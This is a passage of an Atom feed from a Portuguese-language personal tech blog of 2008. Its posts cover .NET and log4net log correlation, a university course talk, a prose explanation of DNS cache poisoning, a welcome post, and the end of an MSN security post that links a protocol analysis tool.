IMs (eu tentei fazer uma "engenharia reversa" no mspass, não descobri muita coisa) isso sim seria novidade.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;Update&lt;/span&gt;: Uma boa ferramenta para análise do protocolo do Messenger é o &lt;a href="http://www.securiteam.com/tools/6C0030UMUW.html"&gt;MSN Shadow&lt;/a&gt;. Entre outras features, possibilita captura de vídeo.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-1432322584353163214?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/V73IEpgHEplxvaGAWj1h5lRIcG0/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V73IEpgHEplxvaGAWj1h5lRIcG0/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/V73IEpgHEplxvaGAWj1h5lRIcG0/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/V73IEpgHEplxvaGAWj1h5lRIcG0/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/NoQz62ZTOv8" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/1432322584353163214/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=1432322584353163214" title="2 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1432322584353163214?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/1432322584353163214?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/NoQz62ZTOv8/segurana-no-msnwindows-live.html" title="Segurança no MSN/Windows Live" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>2</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/10/segurana-no-msnwindows-live.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0ADQXo6cCp7ImA9WxRRFk4.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-5822989326953311562</id><published>2008-09-24T18:20:00.000-07:00</published><updated>2008-09-28T14:02:50.418-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-28T14:02:50.418-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="DotNet" /><category scheme="http://www.blogger.com/atom/ns#" term="log4net" /><title>Logs Correlacionados no .NET</title><content type="html">Todo programador experiente sabe que o log é um de seus melhores amigos. Com uma boa política de logs, pode-se debugar uma aplicação sem maiores problemas, apontando com precisão a origem com problema. Mas como saber quando usuários diferentes escrevem em um mesmo log?&lt;br /&gt;&lt;br /&gt;Exemplo prático: imagine uma página onde vários usuários acessam ao mesmo tempo. Alguns desses usuários tem problemas pra acessar a aplicação, enquanto outros não. Como saber qual parte do log pertence a qual usuário?&lt;br /&gt;&lt;br /&gt;Alguém diria: "coloque um identificador único ao escrever cada uma das linhas do log". Mas o que acontece quando se tem que alterar código já existente pra isso (às vezes, centenas de linhas), ou pior, se determinados trechos do código não tiverem acesso a esse identificador único?&lt;br /&gt;&lt;br /&gt;Para isso, existe no .NET a classe &lt;a href="http://msdn.microsoft.com/en-us/library/system.diagnostics.correlationmanager_methods.aspx"&gt;CorrelationManager&lt;/a&gt;, que tem como objetivo "correlacionar traces que fazem parte de uma mesma operação lógica". Basta adicionar &lt;span style="font-style:italic;"&gt;Trace.CorrelationManager.StartLogicalOperation("MainThread")&lt;/span&gt; e &lt;br /&gt;&lt;span style="font-style:italic;"&gt;Trace.CorrelationManager.StopLogicalOperation()&lt;/span&gt; para que cada chamada em Tracesource.TraceEvent automaticamente coloque , além do texto a ser "logado", a informação "MainThread", que identifica , no exemplo, que se está na thread principal. No nosso exemplo, basta trocar "MainThread" por algo como StartLogicalOperation(ip) (supondo a existência de uma variável ip).&lt;br /&gt;&lt;br /&gt;Mas o que me surpreendeu hoje foi que o log4net, port do log4j pra .NET, também &lt;br /&gt;possui a sua maneira de correlacionar logs, chamada simplemente de &lt;a href="http://logging.apache.org/log4net/release/manual/contexts.html"&gt;Contexto&lt;/a&gt;&lt;br /&gt;. Adiciona-se propriedades à ThreadContext.Property, que são depois escritas por algum dos &lt;a href="http://logging.apache.org/log4net/release/sdk/log4net.Appender.html"&gt;appenders&lt;/a&gt; (classes responsáveis por escrever os traces em uma determinada saída, seja arquivo, banco de dados ou rede). Depois, basta colocar no config do log4net, na seção do appender, a informação desejada.&lt;br /&gt;&lt;br /&gt;Por exemplo, imagine que você coloque no início do seu código  ThreadContext.Property["ip"] = ip, e na &lt;a href="http://logging.apache.org/log4net/release/config-examples.html"&gt;seção de configuração do appender&lt;/a&gt;, coloque &lt;conversionPattern value="IP = %property{ip} - %message%newline" /&gt;. Cada linha do log serai escrita com o formato "IP = 192.168.0.1 - Mensagem", sendo "Mensagem" a string passada em qualquer uma das chamadas de funções de Log do log4net.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-5822989326953311562?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/BN6D-FjCNliQtx9bfeSrP-xW4dQ/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BN6D-FjCNliQtx9bfeSrP-xW4dQ/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/BN6D-FjCNliQtx9bfeSrP-xW4dQ/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/BN6D-FjCNliQtx9bfeSrP-xW4dQ/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/q4vIhYiHJ-M" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/5822989326953311562/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=5822989326953311562" title="3 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/5822989326953311562?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/5822989326953311562?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/q4vIhYiHJ-M/logs-correlacionados-no-net.html" title="Logs Correlacionados no .NET" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>3</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/09/logs-correlacionados-no-net.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D0ICQHg5cCp7ImA9WxRRE00.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-5681697361352013092</id><published>2008-09-24T18:17:00.000-07:00</published><updated>2008-09-24T18:19:21.628-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-24T18:19:21.628-07:00</app:edited><title>Curso de Tecnologias Web Microsoft</title><content type="html">Há alguns dias atrás, ministrei um curso sobre Tecnologias Web Microsoft na Ulbra de Santa Maria, na semana acadêmica. Fui muito bem recebido pelo professor Rogério e pelo pessoal da faculdade. Muito obrigado a todos, viu?&lt;br /&gt;&lt;br /&gt;Segue o link do evento: http://www.ulbra.br/santamaria/eventos/sisinfo/semana2008/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-5681697361352013092?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/TWtYfANvoPryfN8R3VCFuRb5yIE/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TWtYfANvoPryfN8R3VCFuRb5yIE/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/TWtYfANvoPryfN8R3VCFuRb5yIE/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/TWtYfANvoPryfN8R3VCFuRb5yIE/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/CCX0nOEk0P4" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/5681697361352013092/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=5681697361352013092" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/5681697361352013092?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/5681697361352013092?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/CCX0nOEk0P4/curso-de-tecnologias-web-microsoft.html" title="Curso de Tecnologias Web Microsoft" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/09/curso-de-tecnologias-web-microsoft.html</feedburner:origLink></entry><entry gd:etag="W/&quot;D04CRXc4eCp7ImA9WxRRFk4.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-3845202343633754384</id><published>2008-09-07T19:13:00.000-07:00</published><updated>2008-09-28T14:06:04.930-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-28T14:06:04.930-07:00</app:edited><category scheme="http://www.blogger.com/atom/ns#" term="linux" /><category scheme="http://www.blogger.com/atom/ns#" term="segurança" /><title>DNS Cache Poisoning</title><content type="html">Há algum tempo atrás, descobriu-se uma falha no protocolo de DNS. Não uma falha de implementação, como as que a Microsoft  (Microsoft DNS) ou o Linux (Bind) provêem. O problema mesmo é do protocolo, da maneira que ele foi definido. Questionei um amigo meu, adminstrador de redes linux, sobre detalhes sobre o protocolo e do serviço Bind. O texto abaixo é dele.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style:italic;"&gt;Cada computador na internet possui um endereço ip, e para atingir esse computador, devemos OBRIGATORIAMENTE saber o seu endereço IP. Para que não precisemos decorar o endereço IP do nosso site favorito, foi criado o serviço de DNS, que serve para fornecer o endereço IP de determinado nome de domínio.&lt;br /&gt;&lt;br /&gt;- DNS - Domain Name System: serviço da internet (do tipo UDP, ouvindo requisições na porta 53) que serve para transformar nomes de host/domínios em endereços IP, e vice-versa.&lt;br /&gt;&lt;br /&gt;O serviço DNS é hierárquico, ou seja, o servidor responsável pelo .BR é o responsável por dizer quem são os servidores responsáveis pelo .COM.BR, .NET.BR e assim por diante. Sabendo o responsável pelo .COM.BR é reponsável por dizer quem são os responsáveis pelo .GOOGLE.COM.BR, .BRADESCO.COM.BR, e assim por diante. O servidor responsável por .GOOGLE.COM.BR fornece o endereço IP para o nosso navegador para o host WWW em WWW.GOOGLE.COM.BR.&lt;br /&gt;&lt;br /&gt;O software de servidor chamado BIND (versão atual é a 9.0) (também chamado named) é o responsável por implementar o protocolo DNS nas principais distribuições unix/linux.&lt;br /&gt;&lt;br /&gt;Os diversos servidores DNS na internet perguntam, uns aos outros, as consultas de endereços, conforme a utilização da rede, e como o serviço é hierárquico, é necessário que seja formada uma rede de confiança entre os servidores, já que servidores distintos são responsáveis por solicitações de domínios distintos.&lt;br /&gt;&lt;br /&gt;- DNS Cache: os softwares DNS possuem um cache interno, de forma a manter os resultados de cada pesquisa em memória durante um tempo, a fim de diminuir o número de pesquisas repetitivas para determinados endereços muito procurados.&lt;br /&gt;&lt;br /&gt;- Spoof (informática): mascarar a identidade de um computador/serviço/usuário, de forma a monitorar, corromper, ou adulterar os dados ou outros tipos de informações na comunicação de rede.&lt;br /&gt;&lt;br /&gt;- DNS Cache Poisoning: cadastro de informações inválidas, incorretas, adulteradas no cache do servidor DNS, através da utilização de um ataque de Spoof. Dessa forma, o servidor de dns de uma rede pode armazenar o endereço de ip incorreto para um determinado host, e as aplicações que queiram se conectar nesse servidor irão se conectar no servidor fraudulento.&lt;br /&gt;&lt;br /&gt;Exemplo de situação normal:&lt;br /&gt;- Você digita no navegador mozilla firefox 3.0: www.google.com.br.&lt;br /&gt;- O seu computador pergunta ao servidor linux da sua rede, que está rodando BIND9, qual o ip para www.google.com.br&lt;br /&gt;- O BIND9 não sabe quem é www.google.com.br, mas tem pré-cadastrado o .br, e pergunta pra ele quem é www.google.com.br&lt;br /&gt;- O servidor .br não sabe quem é www.google.com.br, mas sabe quem é .com.br, e retorna essa resposta.&lt;br /&gt;- O BIND9 recebe quem é .com.br, e então pergunta para ele quem é www.google.com.br&lt;br /&gt;- O servidor .com.br não sabe quem é www.google.com.br, mas sabe quem é .google.com.br, e retorna essa responsta.&lt;br /&gt;- O BIND9 recebe quem é .google.com.br, e então pergunta para ele quem é www.google.com.br&lt;br /&gt;- O servidor .google.com.br é o responsável e sabe quem é www, e retorna o IP correto.&lt;br /&gt;- O BIND9 recebe a resposta final do IP para www.google.com.br, e retorna a responsta para a máquina com o navegador.&lt;br /&gt;- O seu computador recebe a resposta da consulta DNS para www.google.com.br, e retorna a resposta para o aplicativo do navegador.&lt;br /&gt;- O mozilla firefox recebe o endereço IP, contacta esse endereço na porta 80, e .... (ops isso já é outra aula).&lt;br /&gt;&lt;br /&gt;Exemplo de situação fraudulenta:&lt;br /&gt;- Você digita no navegador mozilla firefox 3.0: www.google.com.br.&lt;br /&gt;- O seu computador pergunta ao servidor linux da sua rede, que está rodando BIND9, qual o ip para www.google.com.br&lt;br /&gt;- O BIND9 não sabe quem é www.google.com.br, mas tem pré-cadastrado o .br, e pergunta pra ele quem é www.google.com.br&lt;br /&gt;- O servidor .br não sabe quem é www.google.com.br, mas sabe quem é .com.br, e retorna essa resposta.&lt;br /&gt;- Algum servidor comprometido no meio do caminho descarta a resposta do .br, e retorna uma resposta modificada contendo um endereço IP incorreto para www.google.com.br. O cabeçalho do pacote DNS é fraudado devido à falta de entropia (aleatoriedade), de forma que o servidor de origem aceita a resposta como sendo válida.&lt;br /&gt;- O BIND9 recebe a resposta fraudada para quem é www.google.com.br, e acredita cegamente nessa resposta (por causa do cabeçalho válido), e então devolve a resposta para o seu computador.&lt;br /&gt;- O seu computador recebe a resposta da consulta DNS para www.google.com.br, e retorna a resposta para o aplicativo do navegador.&lt;br /&gt;- O mozilla firefox recebe o endereço (incorreto) IP, e contacta esse endereço na porta 80&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Agradecimentos ao José Antônio Salini Fereira , que criou esse ótimo texto.&lt;br /&gt;&lt;br /&gt;Mais informações: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1447&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-3845202343633754384?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/SRdGevbRvOVVwwX1nhXjUe9lQ_w/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SRdGevbRvOVVwwX1nhXjUe9lQ_w/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/SRdGevbRvOVVwwX1nhXjUe9lQ_w/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/SRdGevbRvOVVwwX1nhXjUe9lQ_w/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/kFnYbjwByQY" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/3845202343633754384/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=3845202343633754384" title="1 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3845202343633754384?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/3845202343633754384?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/kFnYbjwByQY/dns-cache-poisoning.html" title="DNS Cache Poisoning" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>1</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/09/dns-cache-poisoning.html</feedburner:origLink></entry><entry gd:etag="W/&quot;A0cBQns9cCp7ImA9WxRTGE4.&quot;"><id>tag:blogger.com,1999:blog-8185648311243616922.post-6869203590687874650</id><published>2008-09-07T17:39:00.000-07:00</published><updated>2008-09-07T18:57:33.568-07:00</updated><app:edited xmlns:app="http://www.w3.org/2007/app">2008-09-07T18:57:33.568-07:00</app:edited><title>Olá!</title><content type="html">Bem vindo! No meu blog, pretendo falar um pouco do mundo da tecnologia, do mercado de trabalho e, com um pouco de sorte, do mundo acadêmico. Minha experiência é principalmente em .NET , então boa parte dos meus posts serão sobre ele, com algumas exceções.&lt;br /&gt;&lt;br /&gt;Meu nome é Filipe Paz Rodrigues, sou &lt;a href="http://www.microsoft.com/learning/en/us/exams/70-316.mspx"&gt;MCP&lt;/a&gt; (correndo atrás de uma certificação &lt;a href="http://www.microsoft.com/learning/mcp/mcts/winapps/"&gt;MCTS&lt;/a&gt;) trabalhando com tecnologias diversas, mas principalmente C# /.NET. Atualmente, trabalho na &lt;a href="http://www.mobiltec.com.br"&gt;Mobiltec&lt;/a&gt;, desenvolvendo soluções de mobilidade. Também sou um graduando de &lt;a href="http://www.inf.ufrgs.br"&gt;Ciências da Computação na UFRGS&lt;/a&gt;, send membro da &lt;a href="http://www.inf.ufrgs.br/~rrferreira/microsoft/"&gt;célula acadêmica Microsoft&lt;/a&gt;. Meus interesses são Engenharia de Software, Banco de Dados, Computação Pervasiva e Segurança.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8185648311243616922-6869203590687874650?l=filipepaz.blogspot.com' alt='' /&gt;&lt;/div&gt;
&lt;p&gt;&lt;a href="http://feedads.g.doubleclick.net/~a/A7LaqPjrfR-OZJXpvrrPdmiWE3I/0/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A7LaqPjrfR-OZJXpvrrPdmiWE3I/0/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;br/&gt;
&lt;a href="http://feedads.g.doubleclick.net/~a/A7LaqPjrfR-OZJXpvrrPdmiWE3I/1/da"&gt;&lt;img src="http://feedads.g.doubleclick.net/~a/A7LaqPjrfR-OZJXpvrrPdmiWE3I/1/di" border="0" ismap="true"&gt;&lt;/img&gt;&lt;/a&gt;&lt;/p&gt;&lt;img src="http://feeds.feedburner.com/~r/FilipePaz/~4/Hh0lBEyNTBs" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="http://filipepaz.blogspot.com/feeds/6869203590687874650/comments/default" title="Postar comentários" /><link rel="replies" type="text/html" href="http://www.blogger.com/comment.g?blogID=8185648311243616922&amp;postID=6869203590687874650" title="0 Comentários" /><link rel="edit" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/6869203590687874650?v=2" /><link rel="self" type="application/atom+xml" href="http://www.blogger.com/feeds/8185648311243616922/posts/default/6869203590687874650?v=2" /><link rel="alternate" type="text/html" href="http://feedproxy.google.com/~r/FilipePaz/~3/Hh0lBEyNTBs/ol.html" title="Olá!" /><author><name>Filipe Paz Rodrigues</name><uri>http://www.blogger.com/profile/04336324709272363290</uri><email>noreply@blogger.com</email><gd:image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="http://img2.blogblog.com/img/b16-rounded.gif" /></author><thr:total>0</thr:total><feedburner:origLink>http://filipepaz.blogspot.com/2008/09/ol.html</feedburner:origLink></entry></feed>

